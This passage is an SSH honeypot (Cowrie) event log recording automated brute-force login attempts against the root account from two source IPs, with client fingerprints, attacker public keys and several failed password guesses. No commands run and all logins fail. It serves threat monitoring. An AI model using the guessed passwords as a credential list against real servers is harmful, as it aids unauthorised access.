{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:15.762278Z","src_ip":"60.165.124.241","session":"9e12fb4e06fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123server","message":"login attempt [root/123server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:16.493143Z","src_ip":"60.165.124.241","session":"9e12fb4e06fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:17.732054Z","src_ip":"60.165.124.241","session":"9e12fb4e06fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53538,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c6061418a0","protocol":"ssh","message":"New connection: 60.165.124.241:53538 (10.17.0.5:22) [session: 46c6061418a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:17.965998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:17.973188Z","src_ip":"60.165.124.241","session":"46c6061418a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:18.217592Z","src_ip":"60.165.124.241","session":"46c6061418a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hammer","message":"login attempt [root/hammer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:18.945312Z","src_ip":"60.165.124.241","session":"46c6061418a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:20.185446Z","src_ip":"60.165.124.241","session":"46c6061418a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56744,"dst_ip":"10.17.0.5","dst_port":22,"session":"f230ff282d03","protocol":"ssh","message":"New connection: 60.165.124.241:56744 (10.17.0.5:22) [session: f230ff282d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:20.423636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:20.428344Z","src_ip":"60.165.124.241","session":"f230ff282d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:20.683676Z","src_ip":"60.165.124.241","session":"f230ff282d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos.123","message":"login attempt [root/centos.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:21.442667Z","src_ip":"60.165.124.241","session":"f230ff282d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:22.697964Z","src_ip":"60.165.124.241","session":"f230ff282d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"14f92f10d5c6","protocol":"ssh","message":"New connection: 60.165.124.241:59550 (10.17.0.5:22) [session: 14f92f10d5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:22.964496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:22.972270Z","src_ip":"60.165.124.241","session":"14f92f10d5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:23.218618Z","src_ip":"60.165.124.241","session":"14f92f10d5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#asdASD","message":"login attempt [root/123!@#asdASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:23.997920Z","src_ip":"60.165.124.241","session":"14f92f10d5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.257811Z","src_ip":"60.165.124.241","session":"14f92f10d5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.200.208","src_port":39866,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd8c7ef0c5b","protocol":"ssh","message":"New connection: 195.154.200.208:39866 (10.17.0.5:22) [session: 7cd8c7ef0c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.458335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.462876Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d600f677b6cd","protocol":"ssh","message":"New connection: 60.165.124.241:34098 (10.17.0.5:22) [session: d600f677b6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.479328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.484131Z","src_ip":"60.165.124.241","session":"d600f677b6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.544671Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa139AwlcqQuVqjc2kHap4vmsj57z5PQ8O9gVtZg0AuRb40dbBwhBrd06KJ8kk1mEXJvz8mQgHtoJY8eVLl+pVL3EZHjnBEPxHa5sYLXmzWZtBkCorWa5y5+xT9LcikS+l9W4rLo5jb0AlSZ7hC/0X5KgtY76Ogrj8QflrFqVnEnHeuEX6V4oPC0KLaFyytBMW9PPkbc7pX8+j4w6ZIzRWewiVpeDCxhXKxB0NlUzxUvlsV53nPDr2+ELHiIYnf+fM0yvJUE72kEok1EfYPM7ibc0d3AL+TRsdOJVex0AmupZSK9cTnd0VYz0loV4mkVktNu66La4EdI+z7zux+C8wU1AvEnrezVBYoiL0VaasS0Mc7dPr0k84TE3aatPz7/xugxEoCjZZc//x10tDrnxALFIWBZ24JrrXF3iq3/pXyZrRH17ho/vySdmYCnsincIAkajmQzq+8MUGT/feNznRgzSSTbBpmy5rMr6BnksFSHDprUv7Y1Vjua47byRWjgk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.928336Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:20:ac:cb:9b:a1:3f:34:85:be:42:1b:10:12:33:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa139AwlcqQuVqjc2kHap4vmsj57z5PQ8O9gVtZg0AuRb40dbBwhBrd06KJ8kk1mEXJvz8mQgHtoJY8eVLl+pVL3EZHjnBEPxHa5sYLXmzWZtBkCorWa5y5+xT9LcikS+l9W4rLo5jb0AlSZ7hC/0X5KgtY76Ogrj8QflrFqVnEnHeuEX6V4oPC0KLaFyytBMW9PPkbc7pX8+j4w6ZIzRWewiVpeDCxhXKxB0NlUzxUvlsV53nPDr2+ELHiIYnf+fM0yvJUE72kEok1EfYPM7ibc0d3AL+TRsdOJVex0AmupZSK9cTnd0VYz0loV4mkVktNu66La4EdI+z7zux+C8wU1AvEnrezVBYoiL0VaasS0Mc7dPr0k84TE3aatPz7/xugxEoCjZZc//x10tDrnxALFIWBZ24JrrXF3iq3/pXyZrRH17ho/vySdmYCnsincIAkajmQzq+8MUGT/feNznRgzSSTbBpmy5rMr6BnksFSHDprUv7Y1Vjua47byRWjgk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:25.932286Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3atxl8qLY5mReYXMtNvoj5j96T1A7nh5Z0TfHbp5h4TD1DE+uKA8GUpws9/i14JWSMwPJ794LXqvGr3RDexiqQhGRTEAgH25c+N1tTWvzq4K9TbYLWG9UkD2KGyMaVNzi3soU18dbVxJRAU1Qje1XegcDJDcrKvldgneTis73vQwadByBqqGhRKa7EzMqwIy1V9J7CdSApPL22aV0C4bbPU5N3akySD5qvOYIizI0ZMhJeoAr6EROSuBbVIW3FuGW7iCr1X7Sgo7pu8Ca/+8KFfaB/h6fxD64TvAzkWGFjGNE7fAtQRm2+8fEMmO500wPhGAdaZXJuKqopB/g1AhVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.014291Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:d2:ba:6c:cf:73:b7:c7:aa:fb:62:e8:54:de:be:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3atxl8qLY5mReYXMtNvoj5j96T1A7nh5Z0TfHbp5h4TD1DE+uKA8GUpws9/i14JWSMwPJ794LXqvGr3RDexiqQhGRTEAgH25c+N1tTWvzq4K9TbYLWG9UkD2KGyMaVNzi3soU18dbVxJRAU1Qje1XegcDJDcrKvldgneTis73vQwadByBqqGhRKa7EzMqwIy1V9J7CdSApPL22aV0C4bbPU5N3akySD5qvOYIizI0ZMhJeoAr6EROSuBbVIW3FuGW7iCr1X7Sgo7pu8Ca/+8KFfaB/h6fxD64TvAzkWGFjGNE7fAtQRm2+8fEMmO500wPhGAdaZXJuKqopB/g1AhVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.018076Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3zGeOzF7MClFl56XfBBwQNuHlHXxEdU6w8U+v5+39kJVYVTVkf2uwD4GfZ5owazYpLHRnR9zhelvEweuK2KzspjMq+mez51XkjqxnUVJ593S7Qul3tUu6So+4tRWui+2Z5HQWtwWe2J+Ti6La1bJn/Vh1IlBjORTAIwmBVCukY90pLMz/JhNMC6+2WhgKeeYpQkOnYB3Tb3l4GmwsdL07XKilHc1Qj5nhP7rEaSm8O+eI5fxVA5ziXiuW/n2Zf5H0ao9Rq3/fjuuiH83kPSJwLKdmi3bRz0QIj214wB+IX/PWnSbN/8qs/0+XbeZEAd0XYxuwgsZynbBqitCSu1inw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.099695Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:e1:9d:94:95:1a:95:60:72:61:7f:c4:c5:59:7c:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3zGeOzF7MClFl56XfBBwQNuHlHXxEdU6w8U+v5+39kJVYVTVkf2uwD4GfZ5owazYpLHRnR9zhelvEweuK2KzspjMq+mez51XkjqxnUVJ593S7Qul3tUu6So+4tRWui+2Z5HQWtwWe2J+Ti6La1bJn/Vh1IlBjORTAIwmBVCukY90pLMz/JhNMC6+2WhgKeeYpQkOnYB3Tb3l4GmwsdL07XKilHc1Qj5nhP7rEaSm8O+eI5fxVA5ziXiuW/n2Zf5H0ao9Rq3/fjuuiH83kPSJwLKdmi3bRz0QIj214wB+IX/PWnSbN/8qs/0+XbeZEAd0XYxuwgsZynbBqitCSu1inw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.103334Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeo5wyOSr3tU7GyhYPnAFkLIOFBb4fuQR/kVFcRWjzVADvFmMsxdmaII0FMuzj4EF9ni+Imuf/Z/r3OhRUa2LKEOYMtntmUJdBc4hRBH9J5MgYsZsrVm3itBJIOR/bX1b+0b80hIvHQ0pOF3FitHh2FOxAfHZKqa+h5hwd4WuhVakX7+CCqhG2KALrmir51SOEUbPvl45blMWX07W+VtI+X8ZsCxnVUYJl3Nm/MyOfnIltOek92G/ns0he1w9kx3eX2uUbGG6MYWPpl6zaT3IeQv7K1JwSi6YU8mXvrx0xaFp25pxd7gRLHRC6rju3o96QwXgJpt7hx/fsZdYpvu7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.184917Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:70:a9:6d:7b:a5:df:70:83:07:82:13:54:18:ef:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeo5wyOSr3tU7GyhYPnAFkLIOFBb4fuQR/kVFcRWjzVADvFmMsxdmaII0FMuzj4EF9ni+Imuf/Z/r3OhRUa2LKEOYMtntmUJdBc4hRBH9J5MgYsZsrVm3itBJIOR/bX1b+0b80hIvHQ0pOF3FitHh2FOxAfHZKqa+h5hwd4WuhVakX7+CCqhG2KALrmir51SOEUbPvl45blMWX07W+VtI+X8ZsCxnVUYJl3Nm/MyOfnIltOek92G/ns0he1w9kx3eX2uUbGG6MYWPpl6zaT3IeQv7K1JwSi6YU8mXvrx0xaFp25pxd7gRLHRC6rju3o96QwXgJpt7hx/fsZdYpvu7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.188517Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCXVWwslfkt0mvEM6JbgCwsMQcKIguU3AOJPrX+rnaDRVO5ZJMjR3GOYCeqKem+wTsn1w1Gfm8Del9ZqQrM+PcVrmsHhojx1+xYeIbnr/boQ/KbLZ8w8acsTy6rFF4BF6uOQ0xYYXzwwnBpaz2EMdDbe0XuZxGOHXuyyeWicj+rc+2bC7OJ7O2EJjM3AH2hjTj7V5UtaALg3saYGKM7igwfP78yK02TDEiNhL1STccGD/7Db/xFx5iV4KsP83yJx3x0jPBHPR5waJAyBjUseN1nVvOLSPKTY6FAXWpi6gMvbOwvtw68yj/+JZN6CN9f+1oE/Lw08FKWcX5WoJ5sfVT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:26.271436Z","src_ip":"195.154.200.208","session":"7cd8c7ef0c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:02:2d:f8:28:6c:2e:d4:81:2f:08:4d:ba:fb:ad:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCXVWwslfkt0mvEM6JbgCwsMQcKIguU3AOJPrX+rnaDRVO5ZJMjR3GOYCeqKem+wTsn1w1Gfm8Del9ZqQrM+PcVrmsHhojx1+xYeIbnr/boQ/KbLZ8w8acsTy6rFF4BF6uOQ0xYYXzwwnBpaz2EMdDbe0XuZxGOHXuyyeWicj+rc+2bC7OJ7O2EJjM3AH2hjTj7V5UtaALg3saYGKM7igwfP78yK02TDEiNhL1STccGD/7Db/xFx5iV4KsP83yJx3x0jPBHPR5waJAyBjUseN1nVvOLSPKTY6FAXWpi6gMvbOwvtw68yj/+JZN6CN9f+1oE/Lw08FKWcX5WoJ5sfVT","type":"ssh-rsa","message":"public key login attempt for [root] 